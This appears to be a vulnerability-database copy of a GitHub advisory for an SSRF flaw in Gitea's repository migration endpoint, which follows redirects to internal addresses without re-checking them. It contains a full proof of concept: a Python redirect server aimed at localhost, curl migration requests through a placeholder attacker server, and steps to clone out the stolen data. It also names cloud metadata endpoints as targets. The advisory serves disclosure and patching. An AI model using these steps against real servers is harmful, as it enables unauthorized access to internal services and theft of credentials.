GHSA-RQHX-647V-WX32

Vulnerability from github – Published: 2026-07-21 20:33 – Updated: 2026-07-21 20:33
VLAI
Summary
Gitea: SSRF via HTTP Redirect in Repository Migration
Details

Summary

Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.

Affected Version

Gitea 1.25.4 (latest stable at time of writing), default configuration.

Prerequisites

  1. A regular Gitea user account (no admin privileges required)
  2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects

Reproduction

Environment

Role Location Network
Attacker Any machine with internet access External network (VLAN A)
Gitea Server Windows 11 VM, Gitea 1.25.4, default config, SQLite Internal network (VLAN B)
Internal service Same VM, bound to 127.0.0.1:18082 Localhost only
Redirect server Attacker-controlled public server, port 18080 Internet

The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.

Step 1: Create an attacker account on Gitea

Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.

Step 2: Set up an internal service on the Gitea host

On the Gitea VM, create a bare Git repository that simulates an internal service:

mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1

This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.

Step 3: Confirm Gitea blocks direct access to internal addresses

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/",
    "repo_name": "direct-test",
    "service": "git"
  }'

Response:

{"message":"You can not import from disallowed hosts."}

This confirms that Gitea correctly blocks migration from internal addresses when provided directly.

Step 4: Set up a redirect server

On an attacker-controlled public server, run a script that redirects all requests to the internal service:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        if path.startswith("/repo.git"):
            path = path[len("/repo.git"):]
        target = f"http://127.0.0.1:18082{path}"
        self.send_response(302)
        self.send_header("Location", target)
        self.end_headers()
        print(f"[+] Redirected {self.path} -> {target}")

    do_HEAD = do_GET

HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()

Step 5: Exploit the redirect bypass

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
    "repo_name": "exfil-test",
    "service": "git",
    "private": true
  }'

Response: HTTP 201 Created. The migration succeeds.

Step 6: Retrieve the exfiltrated data

From the attacker machine:

git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt

Output:

CONFIDENTIAL_DATA_2025

The attacker now has the contents of the internal repository that was only accessible on localhost.

What happens during the attack

  1. The attacker sends a migration request pointing to their public server.
  2. Gitea validates the URL. The destination is a public IP, so it passes the check.
  3. Gitea contacts the attacker's server to clone the repository.
  4. The attacker's server responds with 302 Location: http://127.0.0.1:18082/...
  5. Gitea follows the redirect to 127.0.0.1 without validating the new destination.
  6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.
  7. The attacker clones their newly created repository and reads the internal data.

Impact

Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:

  1. Internal Git repositories or other version control systems not exposed to the internet
  2. Cloud metadata endpoints (169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure
  3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
  4. Other services within the same network segment that trust connections from the Gitea server

The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.

Suggested Fix

Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.26.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:33:52Z",
    "nvd_published_at": "2026-07-03T21:17:05Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGitea 1.25.4 validates the initial URL provided to the repository migration endpoint (`POST /api/v1/repos/migrate`) and correctly blocks requests to internal addresses like `127.0.0.1` or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.\n\n## Affected Version\n\nGitea 1.25.4 (latest stable at time of writing), default configuration.\n\n## Prerequisites\n\n1. A regular Gitea user account (no admin privileges required)\n2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects\n\n## Reproduction\n\n### Environment\n\n| Role             | Location                                                       | Network                                  |\n|------------------|----------------------------------------------------------------|------------------------------------------|\n| Attacker         | Any machine with internet access                               | External network (VLAN A)                |\n| Gitea Server     | Windows 11 VM, Gitea 1.25.4, default config, SQLite           | Internal network (VLAN B)                |\n| Internal service | Same VM, bound to `127.0.0.1:18082`                           | Localhost only                           |\n| Redirect server  | Attacker-controlled public server, port 18080                 | Internet                                 |\n\nThe attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.\n\n### Step 1: Create an attacker account on Gitea\n\nRegister a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under **Settings \u003e Applications** with the `repo: write` scope. The migration endpoint requires this because it creates a new repository. This token is referenced as `\u003cUSER_TOKEN\u003e` in the steps below.\n\n### Step 2: Set up an internal service on the Gitea host\n\nOn the Gitea VM, create a bare Git repository that simulates an internal service:\n\n```bash\nmkdir C:\\internal-repo\ncd C:\\internal-repo\ngit init\necho CONFIDENTIAL_DATA_2025 \u003e secret.txt\ngit add .\ngit commit -m \"internal confidential\"\ngit clone --bare . C:\\internal.git\ncd C:\\internal.git\ngit update-server-info\npython -m http.server 18082 --bind 127.0.0.1\n```\n\nThis serves a Git repository on localhost port 18082. It is not reachable from outside the machine.\n\n### Step 3: Confirm Gitea blocks direct access to internal addresses\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"http://127.0.0.1:18082/\",\n    \"repo_name\": \"direct-test\",\n    \"service\": \"git\"\n  }\u0027\n```\n\nResponse:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\nThis confirms that Gitea correctly blocks migration from internal addresses when provided directly.\n\n### Step 4: Set up a redirect server\n\nOn an attacker-controlled public server, run a script that redirects all requests to the internal service:\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        path = self.path\n        if path.startswith(\"/repo.git\"):\n            path = path[len(\"/repo.git\"):]\n        target = f\"http://127.0.0.1:18082{path}\"\n        self.send_response(302)\n        self.send_header(\"Location\", target)\n        self.end_headers()\n        print(f\"[+] Redirected {self.path} -\u003e {target}\")\n\n    do_HEAD = do_GET\n\nHTTPServer((\"0.0.0.0\", 18080), RedirectHandler).serve_forever()\n```\n\n### Step 5: Exploit the redirect bypass\n\nFrom the attacker machine:\n\n```bash\ncurl -X POST http://\u003cGITEA_SERVER\u003e:3000/api/v1/repos/migrate \\\n  -H \"Authorization: token \u003cUSER_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"http://\u003cATTACKER_SERVER\u003e:18080/repo.git\",\n    \"repo_name\": \"exfil-test\",\n    \"service\": \"git\",\n    \"private\": true\n  }\u0027\n```\n\nResponse: **HTTP 201 Created**. The migration succeeds.\n\n### Step 6: Retrieve the exfiltrated data\n\nFrom the attacker machine:\n\n```bash\ngit clone http://attacker:password@\u003cGITEA_SERVER\u003e:3000/attacker/exfil-test.git\ncat exfil-test/secret.txt\n```\n\nOutput:\n\n```text\nCONFIDENTIAL_DATA_2025\n```\n\nThe attacker now has the contents of the internal repository that was only accessible on localhost.\n\n## What happens during the attack\n\n1. The attacker sends a migration request pointing to their public server.\n2. Gitea validates the URL. The destination is a public IP, so it passes the check.\n3. Gitea contacts the attacker\u0027s server to clone the repository.\n4. The attacker\u0027s server responds with `302 Location: http://127.0.0.1:18082/...`\n5. Gitea follows the redirect to `127.0.0.1` without validating the new destination.\n6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.\n7. The attacker clones their newly created repository and reads the internal data.\n\n## Impact\n\nAny authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:\n\n1. Internal Git repositories or other version control systems not exposed to the internet\n2. Cloud metadata endpoints (`169.254.169.254`) which serve temporary credentials on AWS, GCP, and Azure\n3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks\n4. Other services within the same network segment that trust connections from the Gitea server\n\nThe full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.\n\n## Suggested Fix\n\nValidate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.",
  "id": "GHSA-rqhx-647v-wx32",
  "modified": "2026-07-21T20:33:52Z",
  "published": "2026-07-21T20:33:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38108"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: SSRF via HTTP Redirect in Repository Migration"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.